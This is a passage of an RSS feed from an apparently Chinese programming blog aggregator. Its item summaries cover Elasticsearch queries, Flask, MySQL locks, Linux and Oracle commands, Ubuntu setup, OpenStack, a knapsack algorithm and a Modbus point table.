      <description>目录&#xA;测试环境准备&#xA;在指定索引下搜索全部（可以指定字段）&#xA;通过ids进行搜索&#xA;对搜索结果进行分页&#xA;match分词搜索&#xA;不分词模糊搜索：wildcardQuery与matchPhraseQuery&#xA;term 搜索（精确匹配）&#xA;multi_match搜索&#xA;bool搜索 多条件匹配&#xA;filter过滤搜索&#xA;sort排序搜索&#xA;后续待补充：queryStringQuery，minimumShouldMatch，对检索结果中的关键词进行高亮&#xA;测试环境准备 测试环境：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0.6.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;version&amp;gt;2.0.6.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.elasticsearch.client&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;elasticsearch-rest-high-level-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;7.3.0&amp;lt;/version&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.elasticsearch&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;elasticsearch&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.elasticsearch&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;elasticsearch&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;7.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2配置 application.yml&#xA;spring: application: name: service-search eslearn: elasticsearch: hostlist: 127.0.0.1:9200 #多个结点中间用逗号分隔 3主类代码&#xA;@SpringBootApplication public class SearchApplication { public static void main(String[] args) { SpringApplication.run(SearchApplication.class,args); } } 配置类：</description>
    </item>
    <item>
      <title>MATLAB中，设置fig图片线型、颜色、显示比例，并另存为eps, jpg, png等多种格式</title>
      <link>https://bchobby.github.io/posts/c95f588cd786841194fa78a2de2873a3/</link>
      <pubDate>Wed, 14 Dec 2022 23:04:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c95f588cd786841194fa78a2de2873a3/</guid>
      <description>在MATLAB中，画图有时候需要调整图片比例，&#xA;下面展示一些小段MATLAB代码，举例说明&#xA;// 画y = x^2 函数 figure x = 1:10 plot(x,x.^2,&#39;r-.s&#39;,&#39;LineWidth&#39;,2); 上述代码中，&#xA;（1）‘r’ 表示曲线颜色为红色，一些常见颜色设置：‘b’ 为蓝色，‘g’ 为绿色，‘k’ 为黑色，‘y’ 为黄色，等等；&#xA;（2）‘-.’ 表示线型为长短间隔虚线，其他类型，如下图所示：&#xA;（3）‘s’ 表示图例为方框，常见的marker如下图所示：&#xA;（4）‘LineWidth’ 来控制线宽，默认值为1.&#xA;上述代码运行结果如下：&#xA;当然，你也可以通过画图工具，来修改上述图片中各种参数设置，如下图所示：&#xA;然后，可以通过gcf命令获取当前图片参数，如下图所示：&#xA;我们关注Position行所对应的四个参数，前两个参数为图片的当前位置坐标，后两个为图片的宽度和高度。&#xA;通过调整整两个参数，可以调整图片的比例，具体代码如下：&#xA;// 调整图片的比例 set(gcf, &#39;Position&#39;, [573 437.6667 400 300]); 通过调整后面两个参数的大小&#34;400&#34;和&#34;300&#34;，可以调整图片的显示比例。该命令比较好用之处在于对于多个图片，可以严格设定图片的显示位置（前两个参数）和大小（后两个参数），确保多个图片保持严格一致。&#xA;当我们设置好需要的线型、颜色、图例和标注、以及图片比例及大小之后，&#xA;可以通过&#34;File&#34;—&amp;gt;“Save As”，根据需要，选择合适图片的保存格式，&#xA;比如在LaTeX中，插入图片常用的eps格式，等等。</description>
    </item>
    <item>
      <title>flask之g对象、flask-session使用、数据库连接池、信号</title>
      <link>https://bchobby.github.io/posts/784ddeef3f02da4d73ce5f3ee0c774c1/</link>
      <pubDate>Wed, 14 Dec 2022 21:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/784ddeef3f02da4d73ce5f3ee0c774c1/</guid>
      <description>目录&#xA;g对象&#xA;flask-session的使用&#xA;数据库连接池&#xA;flask中集成mysql&#xA;wtfroms使用(了解)&#xA;信号&#xA;g对象 全称global，是一个全局对象在此次请求过程中一直有效，其实就是请求的上下文从请求进来就一直存在直到请求结束，所以在当次请求过程中，如果调用别的函数不需要把参数传入只需要放到g对象中在别的函数中直接使用g获取即可&#xA;具体使用&#xA;user.py&#xA;from flask import Flask, g from home import text app = Flask(__name__) app.debug = True @app.route(&#39;/&#39;) def index(): # 给g对象放入值 g.username = &#39;abc&#39; text() return &#39;ok&#39; if __name__ == &#39;__main__&#39;: app.run() home.py&#xA;from flask import g def text(): # 请求可以使用g对象中的值 print(f&#39;用户：{g.username}&#39;) ps：g对象和session的区别&#xA;session对象是可以跨request的，只要session还未失效，不同的request的请求会获取到同一个session，但是g对象不是，g对象不需要管过期时间，请求一次g对象就改变了一次，或者重新赋值了一次&#xA;flask-session的使用 flask内置的session把数据加密后保存到浏览器中，那我们能不能自己写session类来重写open_session和save_session把数据保存到服务端到redis中，而flask-session就是用来干这个事，可以把数据保存到redis、mongodb等&#xA;安装&#xA;pip3 install flask-session # 安装 pip3 install -U flask-session # 升级最新 快速使用</description>
    </item>
    <item>
      <title>MySQL锁情况查看</title>
      <link>https://bchobby.github.io/posts/a14f4052ba1e68fb4dfa719a86ba768d/</link>
      <pubDate>Wed, 14 Dec 2022 17:25:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a14f4052ba1e68fb4dfa719a86ba768d/</guid>
      <description>本文介绍如何在MySQL数据库中分析锁的情况及处理思路。&#xA;MySQL版本&#xA;mysql&amp;gt; select version(); +------------+ | version() | +------------+ | 5.7.38-log | +------------+ 1 row in set (0.01 sec) 模拟锁产生&#xA;A会话加锁&#xA;mysql&amp;gt; show create table t\G; *************************** 1. row *************************** Table: t Create Table: CREATE TABLE `t` ( `id` int(11) NOT NULL, `name` varchar(10) COLLATE utf8mb4_unicode_ci DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci 1 row in set (0.00 sec) ERROR: No query specified mysql&amp;gt; select * from t; +----+------+ | id | name | +----+------+ | 1 | a | | 2 | s | | 3 | c | | 4 | d | | 5 | e | +----+------+ 5 rows in set (0.</description>
    </item>
    <item>
      <title>web开发：linux常用命令总结</title>
      <link>https://bchobby.github.io/posts/0d09af679f899ab1a6f70f2356114cae/</link>
      <pubDate>Wed, 14 Dec 2022 16:05:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d09af679f899ab1a6f70f2356114cae/</guid>
      <description>1.关于目录操作： （1）ls&#xA;列出当前目录下都有哪些文件/目录&#xA;也可以写成：&#xA;ls + 指定目录 =列出指定目录下的文件/目录&#xA;还可以写成&#xA;ls + -l + 指定目录 = 以列表的形式列出 或缩写成 ll + 指定目录&#xA;（2）pwd&#xA;查看当前目录的绝对路径：&#xA;（3）cd&#xA;切换当前工作目录（当前所在目录）&#xA;cd + 绝对路径/相对路径&#xA;相对路径：以../(上一级目录) 或 ./(当前目录)开头--(./可以省略）&#xA;-----------------------------------------------------------------------------&#xA;（返回上一级）&#xA;（进入根目录）&#xA;cd / 根目录就叫 /&#xA;命令行前面的 [ ] 中有当前工作目录的信息&#xA;2.针对文件的操作 （1）touch&#xA;touch + 文件名 = 创建一个空文件，如果已经存在不会清空原文件&#xA;（2）cat&#xA;cat + 文件名 = 显示文件内容到控制台上（也就是命令行）&#xA;（3）echo&#xA;echo + 文件 = 把（内容）写到文件中 通常搭配：&#xA;echo + 内容 =把内容打印在控制台上&#xA;echo + 内容 + &amp;gt; +文件 =把内容写到文件中</description>
    </item>
    <item>
      <title>2022 最新版 JAVA 如何上传自己的jar包到Maven中央仓库</title>
      <link>https://bchobby.github.io/posts/d1313ae5ca0849e0d6ac3807e2bb505d/</link>
      <pubDate>Wed, 14 Dec 2022 15:59:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1313ae5ca0849e0d6ac3807e2bb505d/</guid>
      <description>发布 Jar 包到 Maven 中央仓库 在项目开发过程中，我们常常会使用 Maven / Gradle 从仓库拉取开源的第三方 jar 包，可能是私有仓库，可能是 Maven 中央仓库，也可能是第三方的镜像。本文将一些简单实用的操作步骤和示例，带领大家将自己写好的代码或开源项目发布到 Maven中央仓库(https://mvnrepository.com/)中，让其他人可以直接依赖你的 jar 包，而不需要先下载你的代码 / jar 后 install 到本地。。&#xA;Maven中央仓库并不支持直接发布 jar 包，需要将 jar 包发布到一些指定的第三方Maven仓库，然后该仓库再将 jar 包同步到 Maven中央仓库，Sonatype便是 Maven中央仓库指定的暂存库。&#xA;1. 注册帐号 入口有点难找，提示一下，在 Build 选项卡里面&#xA;https://issues.sonatype.org/secure/Signup!default.jspa&#xA;密码设置十分变态，12位，必须包含大小写数字特殊字符，有必要拿小本本记一下。而且最好不要设置在 xml 中需要转义的特殊字符，比如 &amp;amp;，否则后面配置 xml 时还要转义！不要问我为啥知道的。。&#xA;2. Jira申请 点击新建按钮或者直接访问 https://issues.sonatype.org/secure/CreateIssue.jspa?issuetype=21&amp;amp;pid=10134，提一个 issue，只有申请通过了才有可能上传到中央仓库上，一般 5 分钟左右会有回应，我昨晚 10 点左右申请的，不知道是不是时差问题他们回应比较快：&#xA;Project选择【Community Support - Open Source Project Repository Hosting (OSSRH)】Issue Type：选择【New Project】Summary和Description ：自己填,注意要用英文Group Id：这个必须要注意,如果你用的是GitHub, 一定要是 io.github.你的github用户名, 例如我的项目地址是: https://github.com/admin4j/common-http, 那我的 groupId就是io.</description>
    </item>
    <item>
      <title>Jmeter的非GUI页面压测命令</title>
      <link>https://bchobby.github.io/posts/b17780bd9c63e80cc3f9190bab4732a3/</link>
      <pubDate>Wed, 14 Dec 2022 15:15:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b17780bd9c63e80cc3f9190bab4732a3/</guid>
      <description>1、压测指令： jmeter.bat -n -t 脚本文件绝对路径\脚本文件.jmx -l 结果文件.jtl -e -o 生成测试报告绝对路径&#xA;注意：非GUI压测指令须在Jmeter的bin目录下执行&#xA;2、命令解析 -n 命令行模式&#xA;-t 指定jmx脚本地址(地址可以是相对路径，可以是绝对路径)&#xA;-h 查看帮助&#xA;-v 查看版本&#xA;-p 指定读取jmeter属性文件，比如jmeter.properties文件中设置的&#xA;-l 记录测试结果的文件，通常结果文件为jtl格式(文件可以是相对路径，可以是绝对路径)&#xA;-s 以服务器方式运行(也是远程方式，启动Agent)&#xA;-H 设置代理，一般填写代理IP&#xA;-P 设置代理端口&#xA;-u 代理账号&#xA;-a 代理口令&#xA;-J 定义jmeter属性，等同于在jmeter.properties中进行设置&#xA;-G 定义jmeter全局属性，等同于在Global.properties中进行设置，线程间可以共享)&#xA;-D 定义系统属性，等同于在system.properties中进行设置&#xA;-S 加载系统属性文件，可以通过此参数指定加载一个系统属性文件，此文件可以用户自己定义&#xA;-L 定义jmeter日志级别，如debug、info、error等&#xA;-j 制定执行日志路径。(参数为日志路径，不存在不会自动创建，将日志输出到命行控制台)&#xA;-r 开启远程负载机，远程机器列表在jmeter.properties中指定&#xA;-R 开启远程负载机，可以指定负载机IP，会覆盖jmeter.properties中remote_hosts的设置&#xA;-d 指定Jmeter Home目录&#xA;-X 停止远程执行&#xA;-g 指定测试结果文件路径，仅用于生成测试报表，参数是csv结果文件&#xA;-e 设置测试完成后生成测试报表&#xA;-o 指定测试报告生成文件夹(文件夹必须存在且为空文件夹)</description>
    </item>
    <item>
      <title>架构设计（服务跟踪）</title>
      <link>https://bchobby.github.io/posts/e4d5b77b5350704bc21a3d8d9000bbea/</link>
      <pubDate>Wed, 14 Dec 2022 14:46:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4d5b77b5350704bc21a3d8d9000bbea/</guid>
      <description>架构设计（服务跟踪） 服务跟踪 微服务调用链路&#xA;# 链路跟踪背景 随着业务的发展，系统规模越来越大，微服务之间的调用关系越来越复杂； 客户端发起的请求，会经过不同的微服务调用，形成一条复杂的调用链路，返回最终的结果； 每条链路上的依赖的服务如果出现延时过高、运行出错都会导致请求失败 # 链路跟踪作用 错误追踪：快速发现服务调用链路在哪个微服务中出错 延时分析：统计链路中每个依赖的服务运行的的时间，判断延时 # 链路跟踪组件 spring cloud sleuth + zipkin 阿里巴巴天眼、美团cat 京东hydra、新浪watchman sleuth实现原理 # traceId：请求链路的唯一标识，链路中的所有单元保持一致 请求达到分布式系统的入口端点时，会创建唯一的追踪标识， 请求在分布式系统中流转时，该值保持不变 # spanId：链路中的单元组件标识 为了统计各单元的时间延时，当请求到达依赖服务、或者请求转发时， 会创建一个span，用来记录开始时间、执行状态，结束时间 # annotation：记录单元信息 cs(client send)：客户端或者单元发起请求时间戳 sr(server received)：服务端或者单元接到请求时间戳 ss(server send)：服务端或者单元处理完成后返回响应的时间戳 cr(client received)：客户端或者单元接到响应的时间 sleuth span示例(收集到zipkin时，该对象会转换成zipkin中的span对象格式)&#xA;zipkin 延时分析 收集、分析、展示跟踪信息&#xA;# collector组件：收集跟踪信息 收集跟踪信息，将其转换为zipkin内部使用的span格式 可使用http同步收集、mq异步收集 # storage组件：存储跟踪信息 默认将跟踪信息存储到内存中， 也可存到mysql、elasticsearch等数据库中 # restful api组件：提供外部访问接口 给客户端展示跟踪信息、外部系统访问实现监控 # web ui组件：展示跟踪信息 调用restful api接口，给用户展示跟踪信息 zipkin span示例（annotations对应logs、binaryAnnotations对应tags）</description>
    </item>
    <item>
      <title>Ubuntu18.04安装教程</title>
      <link>https://bchobby.github.io/posts/8cfd04b0e5b40f648c5742c89f43c11b/</link>
      <pubDate>Wed, 14 Dec 2022 14:36:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cfd04b0e5b40f648c5742c89f43c11b/</guid>
      <description>Ubuntu18.04安装 安装步骤Ubuntu初始化配置1、配置网卡：2、root用户管理： 其他 Ubuntu系统自行网上查找链接下载，我使用的是18.04服务器版本，搞服务器用&#xA;安装步骤 1、进入操作系统，选择第一项进行安装：&#xA;2、选择语言：&#xA;3、选择键盘：&#xA;4、手动配置网络（网段、ip地址、网关、dns服务器地址）：&#xA;5、代理（不配置）：&#xA;6、镜像源：选择阿里云的或者清华镜像：&#xA;（http://mirrors.aliyun.com/ubuntu）&#xA;（https://mirrors.tuna.tsinghua.edu.cn/ubuntu）&#xA;7、配置磁盘分区（选择默认的使用整块磁盘自动分区，并使用lvm）：&#xA;8、配置系统信息（配置系统主机名、登录用户和密码）：&#xA;9、安装openssh远程连接工具：&#xA;10、安装额外的服务（这里跳过，之后需要再添加）：&#xA;11、安装中，直到出现Reboot Now，选择重启即表示安装成功，再输入用户密码进行登录：&#xA;Ubuntu初始化配置 1、配置网卡： 尝试ping网关、外网，如果没法ping通 可以通过命令模式查看前面配置的网络是否有误：&#xA;sudo vim /etc/netplan/00-installer-config.yaml&#xA;配置完成后，执行如下配置命令生效：&#xA;sudo netplan apply 2、root用户管理： 切换root账户&#xA;sudo su 修改root密码&#xA;sudo passwd root 其他 进入操作系统出现这个报错：&#xA;cloud-init [1781]: YYYY-MM-DD HH:MM:SS,182 -cc_final_message.py [WARNING]: Used fallback datasource&#xA;方法一：直接输入用户名密码进行登录，不理会提示；&#xA;方法二：执行Ctrl + Alt + F4，类似另开窗口 之后可以正常登录使用；&#xA;参考：https://askubuntu.com/questions/1321968/ubuntu-server-20-04-2-lts-hangs-after-bootup-cloud-init-1781-yyyy-mm-dd-h</description>
    </item>
    <item>
      <title>Oracle启动 监听 创建用户</title>
      <link>https://bchobby.github.io/posts/986d5560efa49f21828dc34db65e4601/</link>
      <pubDate>Wed, 14 Dec 2022 14:33:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/986d5560efa49f21828dc34db65e4601/</guid>
      <description>启动oracle需要有两个服务 1、监听服务&#xA;2、Oracle实例prod重启服务器后 将Oracle监听服务打开&#xA;[oracle@localhost ~]$ lsnrctl status&#xA;[oracle@localhost ~]$ lsnrctl start&#xA;[oracle@localhost ~]$ sqlplus / as sysdba&#xA;su - oracle&#x9;# 进入oracle的用户，读取oracle的配置文件 lsnrctl status # 查看状态 lsnrctl start&#x9;# 启动监听 sqlplus / as sysdba&#x9;# 以操作系统权限认证的oracle sys管理员登陆. startup&#x9;# 以默认参数文件开启实例，装载默认的数据库，并打开数据库。 监听的作用 监听客户端请求&#xA;为客户端请求分配Server Process&#xA;注册实例服务&#xA;错误转移failover&#xA;负载均衡 Oracle默认三个用户 sys用户：超级管理员，权限最高，它的角色是DBA（数据库管理员）&#xA;system用户：系统管理员，权限很高，它的角色是DBA operator（数据库管理员操作者），不具有创建数据库的权限！&#xA;普通用户(normal)，如系统安装时的scott用户，默认密码是tiger。普通用户的权限是SYS用户或SYSTEM用户给的，如果没有给，那普通用户连很基本的访问权限，连接权限也没有。&#xA;查看当前数据库命令 SQL&amp;gt; select name from v$database;&#xA;NAME&#xA;---------&#xA;PROD&#xA;查看版本 SQL&amp;gt; select * from v$version;&#xA;BANNER</description>
    </item>
    <item>
      <title>idea tomcat10 使用jstl报500错误问题解决</title>
      <link>https://bchobby.github.io/posts/78618211146c8ecdaa7eeac9f1557f08/</link>
      <pubDate>Wed, 14 Dec 2022 10:19:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78618211146c8ecdaa7eeac9f1557f08/</guid>
      <description>这个问题和tomcat版本和jar包有关， 我刚开始就是试过各种jar包（不要和我一样乱导包），以下是解决方案&#xA;1.tomcat 8及其以下可用这个jar包链接：&#xA;https://pan.baidu.com/s/1BEsg0HDNuoB27SROvPdVFw 提取码：xqee&#xA;2.tomcat 9及其以上需要以下两个jar包&#xA;jakarta.servlet.jsp.jstl-2.0.0.jar&#xA;jakarta.servlet.jsp.jstl-api-2.0.0.jar&#xA;下载Jakarta Standard Tag Library 2.0 | The Eclipse Foundationhttps://jakarta.ee/zh/specifications/tags/2.0/&#xA;如果高版本tomcat10用不了就下一个tomcat 8吧 效果一样的 等以后碰到更好的解决方法再使用 没必要浪费太多时间卡在这里。&#xA;感谢您的阅读 如果有帮助就给个关注吧！</description>
    </item>
    <item>
      <title>命令行访问openstack并创建用户等详细步骤</title>
      <link>https://bchobby.github.io/posts/fce777285c7d3d6c92d5083cbe449323/</link>
      <pubDate>Tue, 13 Dec 2022 22:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fce777285c7d3d6c92d5083cbe449323/</guid>
      <description> 使用命令行对openstack创建组别成员和外部网络，云主机并远程访问2。在访问之前需要准备虚拟机（VMware）远程访问软件（MobaXterm）。 1.先登录openstack，挂载镜像后安装python-openstackclient，进入openstack管理员模式&#xA;2.创建组别用户和密码&#xA;3.退出openstack管理员模式，进入交互模式创建外网&#xA;4.创建网段、网关、禁用dhcp、创建外网子网&#xA;5.退出交互模式进入openstack管理员模式创建镜像并挂载&#xA;6.拷贝管理员文件并修改配置文件&#xA;7.用普通用户登录进入交互模式，创建私网(拷贝私网名称，创建云主机要用）&#xA;8.创建私网子网&#xA;9.创建路由，关联公网与私网（外网和私网）&#xA;10.创建密钥并复制&#xA;11.创建安全组并放开两条规则&#xA;12.创建云主机（镜像、云主机类型、安全组、密钥对、网络、云主机名称）&#xA;13.查看云主机状态和网络状态&#xA;14.本地访问（复制网址到浏览器）&#xA;访问成功&#xA;15.创建浮动ip并在windows下测试能否ping通（win+r，输入cmd打开任务管理器，ping浮动ip地址）&#xA;16.远程访问（先将Linux里的密钥对拖到Windows里）&#xA;17.远程访问成功&#xA;以上就是命令行访问openstack并创建组别用户等的详细步骤，并配有成功后的截图。照着步骤来不会出错，希望大家都可以掌握命令行配置openstack。 </description>
    </item>
    <item>
      <title>6个AI网站</title>
      <link>https://bchobby.github.io/posts/c306d43433507d29012bdf1dbb6d77eb/</link>
      <pubDate>Tue, 13 Dec 2022 21:03:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c306d43433507d29012bdf1dbb6d77eb/</guid>
      <description>1、啦啦爱：https://www.lalal.ai/?referral=KqDfDRcy&amp;amp;utm_source=referral_promo&amp;amp;utm_medium=link&amp;amp;utm_campaign=KqDfDRcy&#xA;2、AI写作：https://wenxin.baidu.com/ernie3&#xA;3、AI绘画：https://wenxin.baidu.com/ernie-vilg&#xA;4、线稿自动上色：https://petalica.com/&#xA;5、歌词生成：https://wenxin.baidu.com/wenxin/pc/lyrics&#xA;6、学术灵感：https://easydl.zzh.coderai.cn/demo-5</description>
    </item>
    <item>
      <title>vue3&#43;qrcode插件实现下载二维码图片（.png、.svg格式）</title>
      <link>https://bchobby.github.io/posts/e75d309ad143ce6870805da856435fe8/</link>
      <pubDate>Tue, 13 Dec 2022 18:22:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75d309ad143ce6870805da856435fe8/</guid>
      <description>注释：qrcode可通过canvas的toDataURL方法下载对应的png图片，比较恶心的是下载svg格式（必须记录一下）&#xA;安装一下qrcode插件 npm i qrcode --save 或 yarn add qrcode 页面引入 import qrcode from &#39;qrcode&#39;; // 引入qrcode vue文件使用 &amp;lt;div class=&#34;qrcode-box&#34;&amp;gt; &amp;lt;canvas id=&#34;qrcode&#34; ref=&#34;qrcodeRef&#34; :width=&#34;qrCodeSize&#34; :height=&#34;qrCodeSize&#34; /&amp;gt; &amp;lt;div id=&#34;qrcode-svg-container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;style scoped lang=&#39;less&#39;&amp;gt; .qrcode-box { // 无需显示二维码（隐藏处理） position: absolute; left: -999px; top: -999px; } &amp;lt;/style&amp;gt; js 处理 &amp;lt;script setup lang=&#39;ts&#39;&amp;gt; import { reactive, ref, nextTick, onMounted, unref } from &#39;vue&#39;; const qrAccURL = ref&amp;lt;string&amp;gt;(&#39;&#39;); // 二维码内容地址 const qrcodeRef = ref&amp;lt;null&amp;gt;(); // 二维码DOM const qrCodeSize = ref&amp;lt;number&amp;gt;(200); // 二维码大小 const qrCodeType = ref&amp;lt;number&amp;gt;(1); // 二维码类型 1为图片 2为svg // 点击下载登记二维码事件 const onClickDownQrCodeButton = (size:number, type:number) =&amp;gt; { qrCodeSize.</description>
    </item>
    <item>
      <title>0-1背包问题（回溯法）</title>
      <link>https://bchobby.github.io/posts/2b17c013e0f4bed5dfb973cd176f1bd0/</link>
      <pubDate>Tue, 13 Dec 2022 17:51:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b17c013e0f4bed5dfb973cd176f1bd0/</guid>
      <description>0-1背包问题是动态规划、贪心策略的一个子问题。回溯算法同样可以适用于0-1背包问题。下面使用回溯算法解0-1背包问题。&#xA;文章目录 一、问题描述二、算法设计三、实例1、输入：2、2个可行解：3、最优解：&amp;lt;0,1,1,1&amp;gt; 四、搜索空间1、子集树的运行2、实例:V={12,11,9,8}, W={8,6,4,3}, B=133、搜索空间：子集树，2^n片树叶4、可行解5、最优解 五、代码实现 一、问题描述 有n种物品，每种物品只有1个。 第i种物品价值为vi , 重量为wi, i=1,2,…, n。问如何选择放入背包的物品，使得总重量不超过B, 而价值达到最大？&#xA;思路：有n种物品，每个物品只有1个，放入背包可以有选择的，也可以不放。每种物品有两种选择，暴力破解就是这个样子，把所有可能的组合全部拿出来，观察能放进去的组合里面的最大的价值，那就是找到的解。如果把这个问题变成一个搜索树，也可以解的，其实相当于找一个向量。&#xA;二、算法设计 这个物品到底放不放进去的问题，找出这个向量是和这个物品的个数是有关系的，物品有n个，每个物品是放或者不放。这是一个搜索的二叉树，称之为子集树&#xA;三、实例 1、输入： V={12,11,9,8}, W={8,6,4,3}, B=13&#xA;2、2个可行解： &amp;lt;0,1,1,1&amp;gt;, 选入物品2,3,4，价值为28，&#xA;重量为13&#xA;&amp;lt;1,0,1,0&amp;gt;，选入物品1,3，价值为21，&#xA;重量为12&#xA;3、最优解：&amp;lt;0,1,1,1&amp;gt; 四、搜索空间 1、子集树的运行 最开始对于第1个物品而言，放或者不放。接下来在考虑对第二个物品而言，放或者不放。所以子集数会有物品数+1层，路径左边是装这个物品，路径右边是不装这个物品。&#xA;2、实例:V={12,11,9,8}, W={8,6,4,3}, B=13 3、搜索空间：子集树，2^n片树叶 第一层是第一个物品，第二层是第二个物品……每个物品占一层。采用装与不装进去到达叶结点。&#xA;4、可行解 例如装第1个物品，不装第2个物品，装第3个物品，不装第4个物品。这个路径就是&amp;lt;1,0,1,0&amp;gt;，这个路径是能装进去的，而且得到一个没有超过背包的容量能够把物品装进去的可行解，但是不一定是最优的。子集树中的虚线表示空，不再搜索。&#xA;&amp;lt;1,0,1,0&amp;gt;这个路径，第1个物品已经装进去了，重量是8，那么剩下的（13-8=7）。第2个物品是6，只有不装不然无法再装其他物品了。选择装第3个物品，剩余的空间是1（13-8-4=1），第4个物品是3，所以最后只装了第1个物品和第3个物品，并且重量还有剩余。&#xA;5、最优解 另外一条路径，不装第1个物品，装第2个物品，装第3个物品，装第4个物品。这个路径就是&amp;lt;0,1,1,1&amp;gt;，这个价值加起来是最大的。&#xA;五、代码实现 #include &amp;lt;iostream&amp;gt; using namespace std; #define N 5 //默认有4个物品。第一个不使用 int w[N]; //每个物品的重量 int v[N]; //每个物品的价值 int x[N]; //x[i]=1：物品i放入背包，0代表不放入 int n,c; //n：一共有多少物品，c：背包的最大容量 int SumWeight = 0; //当前放入背包的物品总重量 int SumValue = 0; //当前放入背包的物品总价值 int OptimalValue = 0; //最优价值；当前的最大价值，初始化为0 int OptimalSolution[N]; //最优解；OptimalSolution[i]=1代表物品i放入背包，0代表不放入 /* *回溯算法 参数t表示当前处在第几层做抉择，t=1时表示当前在决定是否将第一个物品放入背包 */ void backtracking(int t) { //叶子节点，输出结果 if(t&amp;gt;n) { //如果找到了一个更优的解 if(SumValue&amp;gt;OptimalValue) { //保存更优的值和解 OptimalValue = SumValue; for(int i=1; i&amp;lt;=n; ++i) OptimalSolution[i] = x[i]; } } else { //遍历当前节点的子节点：0 不放入背包，1放入背包 for(int i=0; i&amp;lt;=1; ++i) { x[t]=i; if(i==0) //不放入背包 { backtracking(t+1); } else //放入背包 { //约束条件：当前物品是否放的下 if((SumWeight+w[t])&amp;lt;=c) { SumWeight += w[t]; SumValue += v[t]; backtracking(t+1); SumWeight -= w[t]; SumValue -= v[t]; } } } } } int main() { cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>Modbus RTC 协议实现点表查询功能</title>
      <link>https://bchobby.github.io/posts/dba53c197bbf8276d3792fdfe212d8ed/</link>
      <pubDate>Tue, 13 Dec 2022 17:31:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dba53c197bbf8276d3792fdfe212d8ed/</guid>
      <description>Modbus 协议是常见的一种通信协议，那么在应用层软件上怎么去设计，才能使其能够快速的响应以及具有高度的可移植呢？在这里介绍一个我经常用到的一个Modbus协议软件设计框架。即通过查表的方式，快速的去响应主从机的动作。&#xA;Modbus RTC 协议的帧格式如下：&#xA;发送：&#xA;从站地址功能码起始地址线圈数量CRC1字节（1~147）1字节（0x1）2字节（0x0000~0xFFFF）2字节（1~2000）2字节 接收：&#xA;从站地址功能码字节数线圈状态CRC1字节（1~147）1字节（0x1）1字节（N）N字节2字节 根据协议的帧格式，点表中，需要添加的几个元素为：&#xA;1、寄存器首地址&#xA;2、寄存器个数&#xA;3、数据类型&#xA;4、占的比重&#xA;5、读写的数据&#xA;6、回调函数&#xA;通过代码实现如下：&#xA;/*数据类型*/ typedef enum { MBDG_TYPE_U8, MBDG_TYPE_S8, MBDG_TYPE_U16, MBDG_TYPE_S16, MBDG_TYPE_U32, MBDG_TYPE_STR, }T_Data_Type; /* 读写属性定义 */ typedef enum { READ_ONLY = 1, WRITE_ONLY, RW_BOTH, }E_Attribute; typedef struct { u16 uRegAddr; u16 uRegLen; u16 uType; u16 uRate; u16 uAttr; void *pData; void (*pFunc)(); }T_MB_Para; #definePARALLEL_MODULE_PROTO_TYPE_ADR 0x00 u16 Proto_Type = 0; /*点表数据*/ static const T_MB_Para tMBpara[] = { {PARALLEL_MODULE_PROTO_TYPE_ADR,1,MBDG_TYPE_U16,1,READ_ONLY,&amp;amp;Proto_Type,NULL},} #define MBDG_PARA_LEN (sizeof(tMBpara) / sizeof(tMBpara[0])) 在这里，tMBpara[]就是开头提到的点表，把需要读写是寄存器直接在tMBpara[]里面添加就行，通信时，直接去操作这个数组即可。</description>
    </item>
    <item>
      <title>几种常用的数组遍历方法</title>
      <link>https://bchobby.github.io/posts/2c45708974013546ea949933b61bcb89/</link>
      <pubDate>Tue, 13 Dec 2022 17:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c45708974013546ea949933b61bcb89/</guid>
